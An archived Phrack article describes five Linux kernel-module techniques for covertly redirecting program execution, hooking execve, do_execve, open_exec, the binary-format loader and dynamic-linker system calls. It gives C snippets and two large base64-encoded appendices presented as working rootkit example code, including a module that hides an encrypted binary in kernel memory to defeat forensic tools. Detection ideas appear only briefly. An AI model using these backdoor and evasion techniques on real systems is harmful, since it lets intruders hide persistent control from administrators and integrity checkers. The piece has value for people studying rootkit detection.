💾 Archived View for aphrack.org › issues › phrack59 › 5.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.==
Volume 0x0b, Issue 0x3b, Phile #0x05 of 0x12
|=---=[ 5 Short Stories about execve (Advances in Kernel Hacking II) ]=--=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ palmers <palmers@team-teso.net> ]=-----------------=|
--[ Contents
1 - Introduction
2 - Execution Redirection
3 - Short Stories
3.1 - The Classic
3.2 - The Obvious
3.3 - The Waiter
3.4 - The Nexus
3.5 - The Lord
4 - Conclusion
5 - Reference
Appendix A: stories.tgz.uu
Appendix B: fluc.c.gz.uu
--[ 1 - Introduction
"Oedipus: What is the rite of purification? How shall it be done?
Creon: By banishing a man, or expiation of blood by blood ..."
- Sophocles, Oedipus the King
What once was said cannot be banished. Expiation of the wrongs that
inspire peoples thinking and opinion may change.
I concern again on kernel hacking, not on literature. Especially in this
field many, many ideas need to be expiated as useless. That does not mean
they do not allow to solve particular problems. It means the problems which
can be solved are not those which were aimed to be solved.
--[ 2 - Execution Redirection
If a binary is requested to be executed, you are redirecting execution
when you execute another binary. The user will stay unnotified of the
change. Some kernel modules implement this feature as it can be used to
replace a file but only when executed. The real binary will remain
unmodified.
Since no file is modified, tamper detection systems as [1] or [2] cannot
percept such a backdoor. On the other hand, execution redirection is used
in honeypot scenarios to fool attackers.
Even after years of active kernel development, the loadable kernel
modules (lkm) implementing execution redirection use merely the same
technique. As this makes it easy for some admins to percept a backdoor
faster, others still are not aware of the danger. However, the real danger
was not yet presented.
--[ 3 - Short Stories
I will show five different approaches how execution can be redirected.
Appendix A contains working example code to illustrate them. The examples
do work but are not really capable to be used in the wild. You get the
idea.
In order to understand the sourcecodes provided it is helpful to read [4]
or [5].
The example code just show how this techniques can be used in a lkm.
Further, I implemented them only for Linux. These techniques are not
limited to Linux. With minor (and in a few cases major) modifications most
can be ported to any UNIX.
--[ 3.1 - The Classic
Only for completeness, the classic. Redirection is achieved by replacing
the system call handling execution. See classic.c from appendix A. There is
nothing much to say about this one; it is used by [3] and explained in [6].
It might be detected by checking the address pointed to in the system call
table.
--[ 3.2 - The Obvious
Since the system call is architecture dependent, there is a underlying
layer handling the execution. The kernel sourcecode represents it in
do_execve (~/fs/exec.c). The execve system call can be understood as a
wrapper to do_execve. We will replace do_execve:
n_do_execve (char *file, char **arvp, char **envp, \
struct pt_regs *regs)
...
if (!strcmp (file, O_REDIR_PATH)) {
file = strdup (N_REDIR_PATH);
}
restore_do_execve ();
ret = do_execve (file, arvp, envp, regs);
redirect_do_execve ();
...
To actually redirect the execution we replace do_execve and replace the
filename on demand. It is obviously the same approach as wrapping the
execve system call. For a implementation see obvious.c in appendix A. No
lkm using this technique is known to me.
Detecting this one is not as easy as detecting the classic and depends on
the technique used to replace it. (Checking for a jump instruction right at
function begin is certainly a good idea).
--[ 3.3 - The Waiter
Upon execution, the binary has to be opened for reading. The kernel gives
a dedicated function for this task, open_exec. It will open the binary file
and do some sanity checks.
As open_exec needs the complete path to the binary to open it this is
again easy going. We just replace the filename on demand and call the
original function. open_exec is called from within do_execve.
To the waiter the same applies as to the obvious. Detection is possible
but not trivial.
--[ 3.4 - The Nexus
After the binary file is opened, its ready to be read, right? Before it
is done, the according binary format handler is searched. The handler
processes the binary. Normally, this ends in the start of a new process.
A binary format handler is defined as following (see ~/include/linux/
binfmts.h):
/*
* This structure defines the functions that are
* used to load the binary formats that linux
* accepts.
*/
struct linux_binfmt {
struct linux_binfmt * next;
struct module *module;
int (*load_binary)(struct linux_binprm *, \
struct pt_regs * regs);
int (*load_shlib)(struct file *);
int (*core_dump)(long signr, struct pt_regs * regs, \
struct file * file);
unsigned long min_coredump; /* minimal dump size */
};
Binary format handlers provide three pointers to functions. One for
loading libraries, another for producing core dump files, the third for
loading binaries (pfff ...). We replace this pointer.
Our new load_binary function looks as follows:
int new_load_binary (struct linux_binprm *bin, \
struct pt_regs *regs) {
int ret;
if (!strcmp (bin->filename, O_REDIR_PATH)) {
/*
* if a binary, subject to redirection, is about
* to be executed just close the file
* descriptor and open a new file. do not
* forget resetup.
*/
filp_close (bin->file, 0);
bin->file = open_exec (N_REDIR_PATH);
prepare_binprm (bin);
goto out;
}
out:
return old_load_binary (bin, regs);
}
But how can we get the binary handlers? They are not exported, if not
loaded as module. A possibility is executing and watching a binary of all
available binary formats. Since the task structure inside the kernel
carries a pointer to the handler for its binary it is possible to collect
the pointers. (The handlers form a linked list - it is not really needed to
execute one binary of each type; theoretically at least).
The reference implementation, nexus.c in appendix A, fetches the first
binary handler it gets its hands on. This is reasonable since virtually all
linux distributors use homogeneous ELF based user land. What is more, it
is very unlikely that the binary format of system binaries change.
As used by nexus.c, one way of fetching binary handlers. Note that we do
replace a system call but we restore it immediatly after we got our binary
handler. This opens a very small time window where the replaced system call
might be detected (if tried at all). Of course, we could have fetched the
pointer directly in init_module. In other words: the time window is
arbitrary small.
int n_open (char *file, int flags) {
int ret = o_open (file, flags);
/*
* ... get one. be sure to save (and restore)
* the original pointer. having binary hand-
* lers pointing to nirvana is no fun.
*/
elf_bin = current->binfmt;
old_load_binary = elf_bin->load_binary;
elf_bin->load_binary = &new_load_binary;
/*
* and restore the system call.
*/
sys_call_table[__NR_open] = o_open;
return ret;
}
An evil attack would of course replace the core_dump pointer, too.
Otherways it may be possible to detect redirection of execution by letting
each process, right after creation, coredump. Then one may check properties
of the dump and if they match, or not, execution may be reinitalized, or
not, respectively. I do not recomment this method to detect redirection,
though.
An evil virus could wrap the load_binary function for infecting all
binaries executed in memory.
Even replaced pointers are hard to check if you do not know where they
are. If we have a recent System.map file, we can walk the list of binary
handlers since we can look up the address of the root entry ("formats" as
defined in ~/fs/exec.c) and the handler functions. In other cases we might
be out of luck. One might try to collect the unmodified addresses himself
to be able to check them later one. Not a good idea ...
--[ 3.5 - The Lord
What about not redirecting execution at execution time? Where is the
logic in not redirecting execution flow when it is exactly what we are
doing here?
When ELF binaries are executed, the kernel invokes a dynamic linker. It
does necessary setup work as loading shared libraries and relocating them.
We will try to make an advantage of this.
Between execution of a binary at system level and the start of the
execution at user level is a gap where the setup described above is done.
And as loading of libraries involves mmap'ing and mprotect'ing we already
know where we can start. We will just look at these system calls. Shared
libraries are loaded to the same (static) address (which might differ from
system to system). If a certain address is to be mapped or mprotect'ed by a
certain process we restart the execution, with our binary. At this point of
execution, the process calling mmap or mprotect is the dynamic linker.
That is was the example implementation in appendix A, lord.c, does.
Note that we can, of course, look for an arbitrary runtime pattern, there
is no need for sticking to mmap or mprotect system calls. It is only of
importance to start the new binary before the user can percept what is
going on.
Note, too, that this technique may be used to execute a binary in before
and afterwards of the binary requested to be executed. That might be useful
to modify the system enviroment.
And finally note that we are not forced to sticking to a distinct runtime
pattern. We may change at will the pattern triggering a redirection. I am
really curious what people will do to detect execution redirection achieved
with this method as it is not sufficient to check for one or two replaced
pointers. It is even not sufficient to do execution path analysis as the
path can be different for each execution. And it is not enough to search
the filesystems for hidden files (which might indicate that, too, execution
redirection is going on). Why is it not enough? See appendix B. All employed
methods for forensical analysis of execution redirection defeated in one
module? We could make the decision from/to where and when (and whoms)
execution shall be redirected dependant on an arbitrary state or pattern.
This is another handy entry point for an infector.
--[ 4 - Conclusion
We can take complete control of binary execution. There are many ways to
redirect execution, some are easier to detect than others. It has to be
asserted that it is not sufficient to check for one or two replaced pointer
to get evidence if a system has been backdoored. Even if a system call has
not been replaced (not even redirected at all) execution redirection can
happen.
One might now argue it is possible to search the binary redirected to. It
has to be physically present on the harddisk. Programs have been developed
to compare the content of a harddisk to the filesystem content shown in
user land. Therefore it would be possible to detect even hidden files, as
there might be, if a kernel backdoor is in use. That is completely wrong.
Most obviously we would keep the binary totally in kernel memory. If our
binary needs to be executed, we write it to disk and execute. When
finished, we unlink it. Of course, it is also possible to copy the binary
just "in place" when it is to be executed. Finally, to prevent pattern
matching in kernel memory, we encrypt the data. A approach to this method
is shown in appendix B. Under linux we can abuse the proc filesystem for
this purpose, too.
As long as forensic tools work on with a closed world assumption it will
be still possible to evade them. Checking for replaced pointers does not
help unless you check all, not only those "believed to be" important
(letting alone that pointer checking cannot prove if a function is
redirected or not). Developers might better invest their time to develop
tools checking possible execution paths. Anomaly detection of kernel
behaviour is a more reliable forensical analysis method than pattern
matching.
--[ 5 - Reference
[1] Tripwire
http://www.tripwire.com
[2] Aide
http://www.cs.tut.fi/~rammer/aide.html
[3] knark
http://www.packetstormsecurity.com/UNIX/penetration/rootkits/
knark-0.59.tar.gz
[4] kernel function hijacking
http://www.big.net.au/~silvio/kernel-hijack.txt
[5] Linux x86 kernel function hooking emulation
http://www.phrack.org/show.php?p=58&a=8
[6] LKM - Loadable Linux Kernel Modules
http://www.thehackerschoice.com/download.php?t=p&d=LKM_HACKING.html
--[ Appendix A: stories.tgz.uu
<++> ./stories.tgz.uu
begin-base64 644 stories.tgz
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
BRVUUEE/Ef0XupwxUgBQAAA=
====
<-->
--[ Appendix B: fluc.c.gz.uu
<++> ./fluc.c.gz.uu
begin-base64 644 fluc.c.gz.uu
H4sICDFK+jwCA2ZsdWMuYwDtXHlv3DYW/zvzKRgXWIyNsT26Z+ptAKNxWyOp
HfhAttsWAx2UrY1Gmo40cbzdfPflIynxEDWjeGvsYneNCBqSjz++i4+HyBwf
jNABenv+7dnF9dnX8Lu+zyqUZjlGy/ARRRjF5SrDCSrXKNms8iwOa5LKChQW
jygt18sJSUDFh/uSVCJkpGwVrusJWpZJlvK6RUkywgrlZXEHb2gGahH0x3V2
d18DRRZjRFpfrfEKFwmpeHvx4+Xr8+/Oz14fEWKgvwH24jLhhGWZIvIvLosY
r+ojUoxRuKnvSYtxCDwmaLmpaqhJ8EGcZUjqrnG1KosqiwjHRAaQBcSI802S
Ef6iDWUH5dkyI9JStZSUIEtwUYc5SETarPBvG5LOSEYSLsM7PCHvOiRCVhUh
gXoVXn8EscpNTcoZgxL7HzMQc+/0Gp1f71F235/f/HB5ewN1Ty9+Qu9Pr67O
Lm5+OkK312fo/Aad3qCfLm/R5fsLdHV+/abRCzUbYBLNg0Zq0s67+3UYf0Dj
h4eHoxX9fVSu7/YRIcniHFNznyYfQ6K7Cqz2Bq8LnKMfCCFo4fwcRY8EMF/i
dYWOUY2rklQ5Ho2+SnCaFRgtFm/Ori7O3i4WbRax1+3bs9FXTJkY/TnPis2n
Y+IKmxwf3b/qlFT1mjRmLMnDyJS/XJpy08qYm+mthtXyeFNkVZ0Y8sOYqIIC
iZI9wiHx/KN4Twj+7eXrs+vzv56hYFTVIdEmiu/DNYK/cnFPzJjj9c/Bryed
0qIt/RV9g/Z++RTNfvk0napPmv7yCU/3Tkajj2WWIOmPWC0sNqsFU+d4n5AQ
7jYx8eysWKxxkq3R7yNK2bTI/g7KxSqs7ycj1P07KGjZyeizlk/xSBMaFm0L
/BxkeHF8gH7AeV6i9+U6T16CfwANES0gYrgeeWLy+EQ0S3qm2569BoImbf52
+Fur7pNnBmUueYg2HbcLQR6bF/e1yqoRuibPVyBsXtUK+XvekJlhNEEgezZV
mZTTscZN3KMLT2Pc1dKO5klmXaRa63ra0mAspwNhbN3aljZD8EduXU+ndtOU
AiGye3QDjHe4MepChoH03FV1I6ensYCwNPeS5fW3cSMgbI1spglC0nNPar1N
CwhwH82x9XSHG7NfdAw604Qi6Zklc9NCyNm2Jreenpr7iN66TeKHT2KHT7qa
b0tpQmcnUhluIQKimgA4wORNnNhP2W/H7hfS6vFOzZndgDwEyvN6YohtdnDd
wN62HqsYVSELtnd0YeCt3azzWCZud0O4O4T6Qi4GDALS44WaAV11AIBxxwBh
a5awNdltDSYKzeOIBuPOugOADBO7RkEs3S8iDVaBEeOIsx2mA2tW50yLB7pQ
zlxNY6jjqj11ZuhKjUoxewfTJ/mFbcgTgaCF8B1DR/dFy4HdxAfym3Dq8zIv
bSG8lMFAzPAtnvZFNchrWg6IP/ieGcJlRbRF8vYDXsXhLfOyBp7SWUKQhJHQ
4qZlnwnFWiP+QPLdlP1uYYVFmmq02OM68RhnDYSnxVMQXBKkRbUYg/CbVkm4
HngTMhwTWHAxSG6TwAJCk5uSBLxKKgnZ4VaxiJdKUTvm6iNkrsPKYECg/mLx
t6N4585qxgHAPLLbw6axIiSbZ7/WlplNfzcDNVlcy9N5d/wQsbJ/isKzqaEA
IumObrNoUARPY20246sjG9bLA+NcK53qZOo4S6dsXid2UjIpfqYzA4wU0WCk
nxGBsXBwiMjAJAw5Hvw2LCi8iM2GYoc1YXXHVKg216pBnh2ogkLezDZOXaGV
eM5a0deODmEcu6pwkG8LQbAuu2EJantdi/iz3giO52ycgKryAzCqxURnn3Vb
B5ikD8Y1zn4BxjJwE/fBUOE7oxmFMXATaTBPnOVAqMGk73iYu5UF/iQs4jI1
efCAe9mMo5gOvSqXScz9QlWnByOYz0h8rRoYPHI0fbiMk1QsdYXPf6mzCwht
GgKxAaCsWFvyeUw4iOLQe1MxFCWagzMmWZ/Z9nhST9WEoEsX8tvh0Ut3fhg0
HWIZHLUQIERo8aglqXKWMCGnXH2Wp9MILiLRnUAoIxxwJXEBjhAJCH1aqqgt
YWWxy4zp8zmZoY+A8cADZfvHgZi6K/qwzJPGOVOllzCr4IhxsN0qLYTZYD2W
UpoS6iTJyLCw7oOBzTW2Ouh0dlmNYOhWjbyLUZ345sCnhVZQbQJdCwvV6roC
zqUpis2FoALFPPAPEkp1cK2FYbpR/EJ3H/A+PW4kli6ciFoyB7yXDhOqd0yN
ItZXZBU3PTcxjyPAFO0PMe9yjuhyVECHdTsKE3F6Op6IqBX1GG2npbbGzq4z
myyljuxPCsEtBLQA5JY0j5jzuUQSqIZUJhE9e3yWOtOD5S5dWMT8Sdl6zYM5
urSYsKW9GoAIn7TsT+Lt0xTzfsbOvZypNhSp4ylENaMu9KG4s2GlbI8JCM/Q
mqXNgmWDtuXqdpCmws7iOhq0r2V5O1To6Et/EcFlS9jb1+yWeY/P0pcxWneK
NEtY5qEocjUy0zaqsoFt9guNTO4b4NgzrRlpiiKT6e6VTtVy6AyG6dozbI39
+yH0+bZpYSGefi5mQzu+uk4N1cmSraUdLe2GxsmBqSW6JeCwB2Bs3uHZvrAy
CNhzVtzuFszZmqzZaGjKYBfB4SsDZ6rs8dEsT7QCwR9GLHi7vIkuZwKiw+BQ
zgREh8GhnHWMul11Js4EF4NUZ+JMWGSQ6v5v1P8Oo+6aJFjGkNO02uztOda2
8aQ/allDYVWI2Zd9pWFQYjExiOn/cV1MxbeCYM62k5vtY1/doGvJXLEPLsik
Tw4znU7sa2nkylcIviceSFzRDf9UheD9w7X4DvScffRsuQmk6vzrBeNK/eiF
2Rw8aDiQ5O8td5VpfEsWcBLOGayMWmEcLmTafCNQ1PklVZvPCrpFbLHu0Jlu
raLRBAICsgK3axH6tULKD6Y6rdBFY7yZBuWrcAo3qfqVxhIGlLVvzPeYYdm3
E3VhJX1CMRmxLZ+zjzyaIH7z6SQVFlBg+srEbryfampzmMNT95GrdPIULvzm
8xIXpukj3X4hhP2Pnv32PVY0bJ1qd4/v6Od0hpzL+aKv/r0QtrPjDILdG8HV
QyLaSZknqtPdtb1uhvC2n8foWbPbGtOOO5QblYsd1ZzAtIbf6ReetoMAaZnb
2XSYLqxB53L0TytOuuMsit27lyMznWhMz72n+cWO04RusHOdStfwmop71ux0
ZLK3fIYd6Bf2dq/0XNPGhLL5YGJa36+YuSqN84f6ReeIhu4H80F+oe/lRBrT
nRmh+7R4MdMPlJgh5tstE5k/vUG2TGrv4iYaFi80pgNv2Djib9/fTHRuvaeN
I8P8Ioh2uJffqwt5r4a+JRfz/qBxxNVPom7fB+9RsXoKWcxytPjoD4hYPecv
tpHr57kG+oW+oR1r+rDi5/SLWTzkMKJ5HHE1Z5aZ9p9lfjF3h/mF4QS24cOw
furYeuK8cxfT4TC/cLq6UHZfXW2QcJ/TL0J3x+Flp3feqR+VlpnunIn2/pBx
JEye5Bc9XzKTaff89zP4ReQ+yS8STcVJ57T6c/pFFA1VsXrYSvuWjDUV288z
jsQDxxHDYCDOHagQ/r++Tt0x9MS+ydl3xwvtsITOrfWsfhFHQ1cEu7mQmE7s
Z1mPJD2xM3iSUSmTEtPB7Fn8wjJ2tS82KnxukwVNwufbv4Drc0Puz42OlfuT
1WO12BR5VnyYoGWYFfkjOjo6otces6IeJTjHNV7AtcIxvRZ3kBbhEu+P2K07
QqJcocPrdblG36DpifFSHlQlpRe3b98yAn6ZDy6Zrh8JAf9hIIGqGb1sWiRE
Cnq3kKEt2H3FMWOMl2UpGsMlv0VWZPUYSibo7eXlm9t3i3encMF0gv5UJPv7
oxcNy5T6Icw/cGoolsAoGSG/K+sS4U9Zzcua6odn59evz69O2gpFcpSHVb2o
H1cYvfwGvT29vllcXF79KINYHCUpH4oxafGIKeDwVUIYLxN8+CpbVHi5z2Bb
7eRl+YFY9T6s7mktaGiC2uqcvGHt3c3V4uzqatwWtjy+PL+WS/bR76MXEu9H
oImfm0SOi18J71C35d8+EQr8mDaeNO4KMkFq64hV/3r0Illt6rHC92dGQky6
VSMjhmF9Tamp+dbEW8MKj1vbAQEv39QgzZg7CWStcb1ZF0xNJ6PPvPuMHtYZ
8fgoK0wOz72R3hdnV0ZrBrZcErbuloTZBe0SacUlTSuimztcL9JqzBuuWIrf
JX593SiFgBFagr1alCtcMI+eoMvFt1dnp8RjrxfnV+//cov+wX993/665Mhh
XS6zmGgqHv+JoB2+ShdxuSnq/RO4t/q3TVUjYrmQhomHcF3AtWe44MxbB/py
dfiKqmBMMibt3dcJqrK/4zIdNxn7pIvwKquyUiVLm3QKxiVUTRJEi/Oy4uDT
faZ3PU6M7nCxoNKPG8VzYzWdfe9ovSkO43VZVEfZJXbe/7bHsXQLjQqqzAX+
hOPGoqRsq0FpCcRJmgUBkdBlec5CI808Fp2IQMRLEn8IxATRO8SHr9j1Y9Gj
eDa7eYy+YQGOljLhlFIkiX/CKIRTKrRQ/Hn0gnIvIqFOQjsVwnmFUZeXlxIv
crTvtPMhXWNDts67iNy8Hy/xMl49jlsjTMSV8Ul7sVx0SQIh7EUtddIDUxhh
ZG+hxgSngKEMRoJ2IGzGL6IOJhJp9sMyzPMyHnNH1y+aE4f//rt3/H8AIJZt
jAgqoK0dWo0QkgvArffjerk6zqs9pVhTGC06GNP/LuJgn4w+7cV5C27O04J9
JPmyqhWhCklBmnKHalBS4FSKi/pcgqtwqHk/j/4JM0vxWXxDAAA=
====
<-->
EOF